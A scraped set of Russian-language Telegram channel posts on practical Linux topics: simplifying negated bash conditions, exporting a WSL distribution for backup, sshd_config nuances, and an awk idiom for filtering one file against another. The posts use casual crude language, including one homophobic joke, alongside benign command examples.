Всем привет. Сегодня хочу поговорить о культуре написания условий bash. Точнее, об использовании отрицаний (НЕ).

🔤🔤🔤🔤🔤🔤🔤

Поводом послужила конструкция, которую я нашел при изучении одного скрипта:

if [[ ! -f "$file" || ! -r "$file" || ! -w "$file" ]];then
echo "Ошибка: Файл отсутствует или нет прав на чтение/запись"
# exit 1
fi


Расшифруем:

! -f "$file" - НЕ регулярный файл (возможно каталог, устройство, или вообще ничего).
! -r "$file" - у файла НЕт прав на чтение.
! -w "$file" - у файла НЕт прав на запись.

Условия объединены по ИЛИ, значит если выполнится какое-либо - будет ошибка.

С точки зрения логики - все правильно, но у меня лично в глазах рябит от количества палок.

👆На мой взгляд, отрицания сильно осложняют понимание.

Вспоминаем, что:

! A || ! B эквивалентно ! [ A && B ]
! A && ! B эквивалентно ! [ A || B ]

👆И помним, что пробелы в условиях bash критически важны.

Таким образом, конструкцию можно переписать, с сохранением функциональности:

if ! [[ -f "$file" && -r "$file" && -w "$file" ]];then
echo "Ошибка: Файл отсутствует или нет прав на чтение/запись"
# exit 1
fi


Расшифруем:

НЕ (файл регулярный И есть права на чтение И есть на запись). В этой конструкции тоже есть отрицание, но оно уже одно! Конструкцию можно привести к еще более человеческому виду:

if [[ -f "$file" && -r "$file" && -w "$file" ]];then
:
else
echo "Ошибка: Файл отсутствует или нет прав на чтение/запись"
# exit 1
fi


Здесь отрицание заменено переносом тела if в тело оператора else.

":" необходимо, потому что между if и else должен быть хотя бы один оператор (в данном случае ":" эквивалент оператора true или nop.

Можно записать и:

if [[ -f "$file" && -r "$file" && -w "$file" ]];then :
else
echo "Ошибка: Файл отсутствует или нет прав на чтение/запись"
# exit 1
fi


👆 Обратите внимание на ":" после then

Но на мой взгляд, в данном случае, читаемость несколько ухудшится.

Хотя первая конструкции и остальные конструкции эквивалентны, но отличие все же есть - скорость работы (Особенно, если в качестве операндов будут использованы функции) И зависит эта скорость будет от сценария работы.

Если при объединении по ИЛИ первый операнд ИСТИНА, то остальные даже проверяться не будут.

При объединении по И все наоборот: остальные проверяться не будут - если первый операнд ЛОЖЬ.

Всем работы без багов.

🛠 #bash #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
250
Здрасти мои хорошие, заранее прошу прощение за рекламные интеграции, был в отпуске, сейчас дача началась, короче время хватает только на проверку домашек. Но вкусных тем я уже понабрал, черновиков накидал, так что потихоньку буду возвращаться в рабочий ритм и радовать тебя всякой полезной хуйнёй.


Ну так вот. В очередной раз решил я с винды на линукс пересесть, потыкать Niri, да и винде уже 5 лет. Знатно засрана дерьмом, срок её подошел к логическому концу. Ну и вопрос встал ребром.

Все наработки и данные у меня в WSL на убунте. Логично что можно зайти в убунту и скопировать всё нужное в /mnt/c/backup, но это костыль, потому что будет потеря скорости, лишняя прокладка. Да, я честно пытался 40 гигов перетащить через copy и rsync, но прошло 2 часа и чет особо нихуя не продвинулось.

Ну не может же такого быть, должно всё нативненько бекапиться. Так и оказалось.

Заходим в powershell и выполняем:

wsl -l -v


Выведет список дистрибутивов, я работаю на Ubuntu 24.04, дальше делаю так:

wsl --shutdown
wsl --export "Ubuntu-24.04" D:\backup\wsl-ubuntu.tar


Жду 10 минут и получаю полноценный tar с полной копией файловой системы.

Ну великолепно же! Ну а дальше всё это я потом распакую и раскидаю уже по местам. Очередной пример того, что если не интересоваться новым и работать только с привычными инструментами, можно нехило деградировать, сидеть и ждать у моря погоды.

Знаю, будешь пытать меня в комментах насчет — а какой линукс ты поставил? Скажу так — пидорский. Но я только посмотреть, один раз не пидарас )

🛠 #linux #wsl #windows

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
254
В прошлом посте мы с тобой перелопалити приоритеты чтения sshd_config, сегодня добъем нюансы. Меня вчера опередили в комментариях с Match, но не страшно.

Сюда по классике не влезло, много буков, поэтому всё в блоге.

Читать продолжение: https://two.su/atcbh

🛠 #linux #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
23
Всем привет. Вчера решал задачу фильтрации txt-файла и нашёл конструкцию на awk, от которой испытал эстетический оргазм. Решил с вами ею поделиться.

Итак, задача: есть _data.txt_ с данными и _filter.txt_ со списком фильтрации.

Строки data.txt обрабатываются, если есть совпадение в filter.txt. Это классическая задача фильтрации (например, обработка белых и чёрных списков).

И да, я знаю про программы comm и join, с помощью которых можно решать подобные вещи, но мне нравится awk, потому что делает это гибче благодаря наличию языка программирования и не требует предсортировки.

👍 Итак, сама конструкция:


awk 'NR == FNR { filter[$0] = 1; next } $0 in filter { print $0, "in filter" }' filter.txt data.txt


Обратите внимание: здесь два блока обработки строк, каждый со своим условием

1. NR == FNR { filter[$0] = 1; next }
2. $0 in filter { print $0, "in filter" }

Обычно выполняются оба блока: сначала первый, потом второй, но здесь это не так. Первый блок только считывает данные filter.txt в массив filter.

Второй обрабатывает только те строки, которые есть в массиве.

NR — встроенная переменная, номер записи ДЛЯ ВСЕХ файлов.
FNR — аналогична предыдущей, но начинается с 1 для каждого нового файла.
filter[$0] = 1 — сохраняем всю строку первого файла как ключ массива.
next — сразу переходит к обработке следующей строки.

Таким образом, связка условия NR == FNR и next будет работать только для первого файла (filter.txt).

Для второго файла условие NR == FNR уже не соблюдается, поэтому первый блок не выполняется, а второй выполняется, если строка данных присутствует в массиве filter.

Ну и пример из реальной жизни — filter.txt:

RU
BY


data.txt

RU 127.0.0.1
BY 127.0.0.2
US 127.0.0.3
KZ 127.0.0.4


awk 'NR == FNR { filter[$1] = 1; next } $1 in filter { print $2, "in filter" }' filter.txt data.txt

127.0.0.1 in filter
127.0.0.2 in filter


Обратите внимание: на выходе только нужные строки и только нужный столбец. Как же это круто!

Маленькое ограничение: содержимое filter.txt, загруженное в массив filter, должно помещаться в оперативную память. Иначе система может начать активно использовать swap, а процесс — завершиться из-за нехватки памяти.

man awk
man comm
man join


Всем работы без багов.

© Tagd Tagd

🛠 #devops #bash #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
63